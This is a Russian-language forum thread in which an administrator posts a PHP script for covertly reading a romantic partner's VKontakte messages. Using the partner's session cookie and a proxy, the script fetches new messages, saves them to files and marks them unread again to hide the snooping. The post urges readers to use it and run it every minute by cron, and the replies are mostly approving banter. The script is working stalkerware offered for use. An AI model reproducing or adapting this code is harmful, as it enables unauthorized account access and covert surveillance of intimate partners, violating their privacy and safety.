Форум о социальной сети Вконтакте.

Вернуться   Форум о социальной сети Вконтакте. > Black PR Team > Под флагом Black PR


Ответ
 
LinkBack Опции темы
 
Старый 03.05.2010, 13:11   #1
Администратор
 
Аватар для BlackPR
 
Регистрация: 03.05.2010
Сообщений: 179
Очки: 2,557, Уровень: 1 Очки: 2,557, Уровень: 1 Очки: 2,557, Уровень: 1
Активность: 99% Активность: 99% Активность: 99%
Вес репутации: 10
BlackPR отключил(а) отображение уровня репутации
Exclamation Слежка за девушкой/парнем, чтение их сообщений

Слежка за девушкой/парнем, чтение их сообщений

[скрипт] Слежка за девушкой/парнем, чтение их сообщений (с) kam
Цитата:
вообщем, сталкнулся с ситуевиной, когда появилось подозрение что девушка изменяет...один раз глянул контакт её, там была массага о какой то встречи, через буквально 5-10 мин она её удалила...ну и захотелось организовать слежку за контактом любимой...был написан маленький скриптик...который через проксик подключаеться к контакту. логиниться, читает НОВЫЕ массаги, сохраняет их в файл, и ЗАНОГО помечает как "не прочитаные"

ну узнал я много о ней ))
вот собственно скрипт, пользуйтесь...
Код:
#!/usr/bin/php

<?php

### дира, куда сохранять все это овно (последний слеш обязателен)
$dir_save="/home/web/sites/kam/vk/msg/";
$cooke="remixchk=5; remixsid=*****";


function msg_read($mid,$uid){
global $cooke;
$proxy = "*****"; //прокси
$port=8888;

$fp = fsockopen ($proxy, $port, $errno, $errstr, 30);
if (!$fp){
return "Error ";
}
$request = "GET http://vkontakte.ru/mail.php?act=show&id=".$mid." HTTP/1.0\r\n";
$request .= "Host: http://vkontakte.ru\r\n";
$request .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$request .= "Accept-Encoding: none, *;q=0\r\n";
$request .= "Accept-Language: ru\r\n";
$request .= "Connection: close\r\n";
$request .= "Proxy-Connection: close\r\n";
$request .= "Cookie: ".$cooke." \r\n";
$request .= "Referer: http://vkontakte.ru/mail.php/\r\n";
$request .= "User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n";
#$request .= "\r\n";

#$request .= "$data\r\n";
$request .= "\r\n";
#var_dump($request);


@fwrite ($fp,$request);
$out="";
while (!feof($fp)) {
$out .= fgets($fp, 128);
}


if(ereg("Content-Type: text/html;",$out))
{
#var_dump($out);
$a=explode("Proxy-Connection: close",$out);
return $a[1];

}else{

$a=explode("Proxy-Connection: close",$out);
preg_match("/(Content-Type: )[^.]+/i",$a[0],$z);
$z=explode("\n",$z[0]);
#header(onlyChars($z[0]));
return array(trim($z[0]),trim($a[1]));


}



fclose($fp);
### end function
}


function mark_unread($mid){
global $cooke;
$proxy = "*****"; //прокси
$port=8888;

$fp = fsockopen ($proxy, $port, $errno, $errstr, 30);
if (!$fp){
return "Error ";
}


$data="mark=new&mark_custom=&m_search=%D0%9F%D0%BE %D0%B8%D1%81%D0%BA%20%D1%81%D 0%BE%D0%BE%D0%B1%D1%89%D0%B5%D0%BD%D0%B8%D0%B9&q=& d=&out=0&st=0&filter=all&post%5B".$mid."%5D=".$mid ."\r\n\r\n";
$request = "POST http://vkontakte.ru/mail.php?act=mark_msg HTTP/1.0\r\n";
$request.="Host: http://vkontakte.ru\r\n";
$request.="User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n";
$request.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$request.="Accept-Language: ru\r\n";
$request.="Accept-Encoding: none, *;q=0\r\n";
$request.="Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n";
$request.="Connection: close\r\n";
$request.="Proxy-Connection: close\r\n";
$request.="Referer: http://vkontakte.ru/mail.php\r\n";
$request.="Cookie: ".$cooke."\r\n";
$request.="Pragma: no-cache\r\n";
$request.="Cache-Control: no-cache\r\n";
$request.="Content-Length: ".strlen($data)."\r\n\r\n";
$request.=$data."\r\n\r\n";

#var_dump($request);




@fwrite ($fp,$request);
$out="";
while (!feof($fp)) {
$out .= fgets($fp, 128);
#echo($out);
}
#echo($out);

fclose($fp);
#end function
}
function output_r ($host,$page,$data){
global $cooke;

if ($page==''){$page='/';}
if($host == "vkontakte.ru"){
$proxy = "*****"; //прокси
$port=8888;
}
#else{
#$proxy="192.168.5.2";
#$port=3128;
#}
$fp = fsockopen ($proxy, $port, $errno, $errstr, 30);
if (!$fp){
return "Error ";
}

$request = "GET http://$host/{$page}?{$data} HTTP/1.0\r\n";
$request .= "Host: http://$host\r\n";
$request .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$request .= "Accept-Encoding: none, *;q=0\r\n";
$request .= "Accept-Language: ru\r\n";
$request .= "Connection: close\r\n";
$request .= "Proxy-Connection: close\r\n";
$request .= "Cookie: ".$cooke." \r\n";

$request .= "Referer: http://$host/\r\n";
$request .= "User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n";
#$request .= "\r\n";

#$request .= "$data\r\n";
$request .= "\r\n";
#var_dump($request);




@fwrite ($fp,$request);
$out="";
while (!feof($fp)) {
$out .= fgets($fp, 128);
}


if(ereg("Content-Type: text/html;",$out))
{
#var_dump($out);
$a=explode("Proxy-Connection: close",$out);
return $a[1];

}else{

$a=explode("Proxy-Connection: close",$out);
preg_match("/(Content-Type: )[^.]+/i",$a[0],$z);
$z=explode("\n",$z[0]);
#header(onlyChars($z[0]));
return array(trim($z[0]),trim($a[1]));


}

fclose($fp);
#end function
}

################################################## ########
########################################
########################
################
############ Вызов функций


include('simple_html_dom.php');
$zzz=output_r("vkontakte.ru","mail.php","id=".$_GE T['id']);

$zzz=trim(iconv("CP1251","UTF-8",$zzz));
#$ar=explode("<tr class='newRow' id=",$zzz);
#var_dump($ar);
$i=0;
$text = str_get_html($zzz);
foreach ($text -> find('tr.newRow') as $temp){
$temp=explode("<div class=\"name\">",$temp);
$temp1=explode("<div class=\"date\">",$temp[1]);
##### Username/id
$un_tmp=trim(str_replace(array('<a href="','">','</div>','</a>',"/id")," ",$temp1[0]));
$un=explode("\n",$un_tmp);
$un=trim($un[0]);
$i++;
### message ID
$mid=explode("<span>",$temp1[1]);
$mid=explode("<td class=\"messageSnippet\"",$mid[0]);
$mid=trim(str_replace(array("id=\"mb","\">"),"",$m id[1]));

if(!file_exists($dir_save."in_".$mid))
{
$msg_page=trim(iconv("CP1251","UTF-8",msg_read($mid,$un)));
$msg_text = str_get_html($msg_page);
foreach ($msg_text -> find('td.messageText') as $msg_tmp){
$exp=explode("<div style=\"width: 240px; overflow: hidden;\">",$msg_tmp);
$exp=explode("</div>",$exp[1]);
$exp=trim($exp[0]);
$to_save=$un." (".$mid.") : ".$exp."\r\n";
### Сохранение говна в файл
$fsave = fopen($dir_save."in_".$mid, "w");
fwrite($fsave, $to_save);
fclose($fsave);

#end foreach
}

sleep(2);
mark_unread($mid);
#end if file exist
}
#end foreach
}



?>



для скрипта нужна библиотека simple_html_dom.php, можно найти в гугле
ну или скачать тут
_http://trac.openpolis.it/openpolis/browser/trunk/lib/simple_html_dom.php?format=txt
скрипт БЕЗ прокси не работает )...

что умеет:
Читать сообщения. сохранять в файл ( in_{$message_id} )
после помечать их как прочитаные...
также НЕ читает уже сохраненные масаги )))
скрипт не светит человека то что он онлайн

в планах: добавить логирование исходящих сообщений, добавить пометки типа сообщение из контакта было удаленно 0_о, чтобы легче было обратить внимание на нужно сообщение...

Скрипт надо гонять по крону каждую минуту....хотя самое прикольное было бы гонять каждые 30 секунд...но да ладно )

З.Ы. как запустить объеснять не буду, кому надо поймут ))
З.Ы.Ы.Претендую на звание говно-кодер месяца, за эту поделку...писал для себя. так что писал как можно быстрее, скрипт написан был за час...
З.Ы.Ы.Ы. готов принять критику по скрипту, и баг-фиксы )))
BlackPR вне форума   Ответить с цитированием
Старый 04.05.2010, 11:47   #2
Пользователь
 
Регистрация: 04.05.2010
Сообщений: 22
Очки: 455, Уровень: 1 Очки: 455, Уровень: 1 Очки: 455, Уровень: 1
Активность: 0% Активность: 0% Активность: 0%
Вес репутации: 0
Айс is on a distinguished road
По умолчанию

Со скриптами работать конечно приятно, но очень долго порою))) Говорят, есть проги, основанные на таких вот скриптовых махинациях. Хотя я и сам злоуптребляю скриптами ^_^
Айс вне форума   Ответить с цитированием
Старый 31.05.2010, 21:39   #3
Постоянный клиент
 
Аватар для Наблюдаю
 
Регистрация: 21.05.2010
Сообщений: 62
Очки: 362, Уровень: 1 Очки: 362, Уровень: 1 Очки: 362, Уровень: 1
Активность: 0% Активность: 0% Активность: 0%
Вес репутации: 22
Наблюдаю is on a distinguished road
По умолчанию

Отличный скрипт, но я доверяю своей девушке, хотя может пригодиться в других целях... Ыыы..
__________________
Моё дело сказать правду - а не заставлять в нее верить!
Наблюдаю вне форума   Ответить с цитированием
Старый 05.06.2010, 22:52   #4
Новичок
 
Аватар для PRObilL27
 
Регистрация: 05.06.2010
Адрес: Днепропетровск
Сообщений: 10
Очки: 90, Уровень: 1 Очки: 90, Уровень: 1 Очки: 90, Уровень: 1
Активность: 0% Активность: 0% Активность: 0%
Вес репутации: 0
PRObilL27 is an unknown quantity at this point
Отправить сообщение для PRObilL27 с помощью ICQ
По умолчанию

поздравляю, ты - умничка месяца *рофл*

Последний раз редактировалось Гор; 06.06.2010 в 00:38.
PRObilL27 вне форума   Ответить с цитированием
Старый 06.06.2010, 00:39   #5
Добрый Мэн ^_^
 
Аватар для Гор
 
Регистрация: 03.05.2010
Адрес: Город мечты!
Сообщений: 341
Очки: 2,658, Уровень: 1 Очки: 2,658, Уровень: 1 Очки: 2,658, Уровень: 1
Активность: 0% Активность: 0% Активность: 0%
Вес репутации: 10
Гор is on a distinguished road
По умолчанию

Немного переправил предыдущий пост, а то там нехорошее слово было
Гор вне форума   Ответить с цитированием
Старый 06.06.2010, 01:21   #6
Администратор
 
Аватар для BlackPR
 
Регистрация: 03.05.2010
Сообщений: 179
Очки: 2,557, Уровень: 1 Очки: 2,557, Уровень: 1 Очки: 2,557, Уровень: 1
Активность: 99% Активность: 99% Активность: 99%
Вес репутации: 10
BlackPR отключил(а) отображение уровня репутации
По умолчанию

Цитата:
Сообщение от Гор Посмотреть сообщение
Немного переправил предыдущий пост, а то там нехорошее слово было
Нормальное там слово было)) цитата из первого поста
BlackPR вне форума   Ответить с цитированием
Старый 06.06.2010, 19:28   #7
Новичок
 
Аватар для PRObilL27
 
Регистрация: 05.06.2010
Адрес: Днепропетровск
Сообщений: 10
Очки: 90, Уровень: 1 Очки: 90, Уровень: 1 Очки: 90, Уровень: 1
Активность: 0% Активность: 0% Активность: 0%
Вес репутации: 0
PRObilL27 is an unknown quantity at this point
Отправить сообщение для PRObilL27 с помощью ICQ
По умолчанию

Цитата:
Сообщение от Гор Посмотреть сообщение
Немного переправил предыдущий пост, а то там нехорошее слово было
А если я создам тему, то смогу употребить "плохое" слово?
PRObilL27 вне форума   Ответить с цитированием
Старый 06.06.2010, 19:35   #8
Добрый Мэн ^_^
 
Аватар для Гор
 
Регистрация: 03.05.2010
Адрес: Город мечты!
Сообщений: 341
Очки: 2,658, Уровень: 1 Очки: 2,658, Уровень: 1 Очки: 2,658, Уровень: 1
Активность: 0% Активность: 0% Активность: 0%
Вес репутации: 10
Гор is on a distinguished road
По умолчанию

Цитата:
А если я создам тему, то смогу употребить "плохое" слово?
А это уже оффтоп А плохое слово всегда можно заменить хорошим)
Гор вне форума   Ответить с цитированием
Ответ


Опции темы

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Вкл.
Pingbacks are Вкл.
Refbacks are Вкл.



Текущее время: 11:31. Часовой пояс GMT +4.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd. Перевод:
zCarot